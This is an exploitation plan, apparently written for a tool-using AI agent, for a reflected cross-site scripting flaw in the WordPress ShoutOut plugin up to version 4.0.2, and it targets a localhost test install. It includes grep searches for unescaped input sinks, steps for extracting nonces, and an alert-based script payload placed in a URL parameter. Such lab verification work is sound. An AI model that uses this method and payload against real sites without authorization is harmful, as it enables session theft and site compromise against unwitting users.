ShoutOut <= 4.0.2 - Reflected Cross-Site Scripting

This research plan focuses on identifying and exploiting a Reflected Cross-Site Scripting (XSS) vulnerability in the ShoutOut plugin (version <= 4.0.2).

1. Vulnerability Summary

The ShoutOut plugin fails to properly sanitize and escape user-supplied input before reflecting it back into the page. This typically occurs when a plugin uses $_GET, $_POST, or $_REQUEST parameters to display status messages, filter results, or populate form fields without using WordPress escaping functions like esc_html(), esc_attr(), or esc_url(). Because the vulnerability is unauthenticated, the attack can be executed by tricking a user (even a guest) into clicking a crafted link.

2. Attack Vector Analysis

• Endpoint: Likely a frontend page where the ShoutOut plugin is active (e.g., a page containing a shortcode) or a generic plugin-controlled query parameter.
• Parameter: Inferred candidates based on common patterns: message, msg, shout_text, shout_id, or category.
• Authentication: None (Unauthenticated).
• Preconditions: The plugin must be active. The XSS likely reflects on the frontend or within an admin notice if triggered by an unauthenticated action.

3. Code Flow (Inferred)

1. Entry Point: The plugin registers an init or wp_loaded hook, or a shortcode callback.
2. Input Source: The code accesses a superglobal variable, e.g., $input = $_GET['msg'];.
3. Lack of Sanitization: The code does not apply sanitize_text_field() or similar filters.
4. Sink: The input is echoed directly into the HTML response: echo '<div class="shoutout-msg">' . $input . '</div>';.

4. Nonce Acquisition Strategy

Reflected XSS via GET requests usually does not require a nonce because the payload is delivered in the same request that generates the reflected output. If the reflection occurs after a POST request, a nonce might be required.

Strategy for finding nonces (if needed):

1. Identify Script Localization: Search the codebase for wp_localize_script.
   • grep -rn "wp_localize_script" wp-content/plugins/shoutout/
2. Identify Shortcodes:
   • grep -rn "add_shortcode" wp-content/plugins/shoutout/
3. Create Test Page: If the plugin requires a shortcode to load its scripts:
   • wp post create --post_type=page --post_status=publish --post_title="ShoutOut Test" --post_content="[shoutout]" (Replace [shoutout] with the actual shortcode found).
4. Extract via Browser: Use browser_navigate to the new page and browser_eval to extract the nonce:
   • browser_eval("window.shoutout_ajax?.nonce") (Replace with the actual JS object and key found in step 1).

5. Exploitation Strategy

The goal is to find the specific parameter that is reflected unescaped.

Step 1: Locate the Sink
Run the following command to find all instances of unescaped reflection:

grep -rP "echo\s+\\\$_(GET|POST|REQUEST)" wp-content/plugins/shoutout/ --include="*.php"

Step 2: Craft the Payload
Once the parameter (e.g., msg) is identified, use a standard XSS canary:

• Canary: "><script>alert(window.origin)</script>
• URL-Encoded: %22%3E%3Cscript%3Ealert%28window.origin%29%3C%2Fscript%3E

Step 3: Execute the Request
Using the http_request tool, send a GET request to the WordPress home page (or the page with the shortcode) with the malicious parameter:

• Method: GET
• URL: http://localhost:8080/?msg=%22%3E%3Cscript%3Ealert%28window.origin%29%3C%2Fscript%3E

Step 4: Analyze Response
Check if the response body contains the raw, unescaped <script> tag.

6. Test Data Setup

1. Plugin Installation: Ensure ShoutOut version 4.0.2 is installed and active.
2. Shortcode Placement: If the reflection is shortcode-dependent, identify the shortcode via grep -r "add_shortcode" and place it on a public page:
   • wp post create --post_type=page --post_status=publish --post_content='[SHORTCODE_NAME]'

7. Expected Results

• HTTP Response: The raw HTML should contain the exact payload string: "><script>alert(window.origin)</script>.
• Browser Execution: If viewed in a browser, an alert box showing the origin should appear.
• Sink Location: The reflection will likely be inside a <div> or as a value attribute of an <input> field.

8. Verification Steps

1. Manual HTML Inspection: Use http_request and verify the output:

   # Search for the injected script in the output
   grep -C 5 "<script>alert" response.html
   

2. Check for Escaping: Verify that characters like < and > were NOT converted to < and >.

9. Alternative Approaches

If direct parameter reflection is not found in the main plugin file, check the following:

• Pagination/Sorting: Check parameters like orderby or paged often used in display tables.
• Admin Notices: If the plugin has an admin component, check if an unauthenticated action can trigger an admin_notice that reflects a parameter. Use grep -r "admin_notices".
• AJAX Error Handling: If the plugin uses AJAX, check if the error response reflects the input action or other data:
  • grep -rn "wp_ajax_nopriv" wp-content/plugins/shoutout/
  • Check if the handler uses wp_die( $_GET['msg'] ) which reflects input.